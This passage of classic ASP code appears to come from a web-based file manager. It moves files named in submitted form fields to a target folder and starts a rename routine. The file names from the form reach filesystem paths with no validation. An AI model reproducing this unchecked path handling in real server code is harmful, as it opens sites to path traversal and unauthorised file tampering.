if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
set item=nothing
next
end if
if (nfile>0) then
if (ndir>0) then gMsg= gMsg & "<p>" & vbNewLine
gMsg=gMsg & "<b>M</b>oving file(s) to """ & mv_dst & """ ..."
for i=1 to nfile
itemName=Request.Form("f")(i)
itemPath=addslash(targetPath) & itemName
gMsg=gMsg & "<br>" & vbNewLine & "- " & itemName & ": "
FSO.MoveFile itemPath,addslash(mv_dst)
if Err.Number<>0 then gMsg=gMsg & "error" else gMsg=gMsg & "success"
next
end if
end sub
'###########################################################################################
sub RenameItem()
dim item,itemType,itemName,itemPath
dim param,newName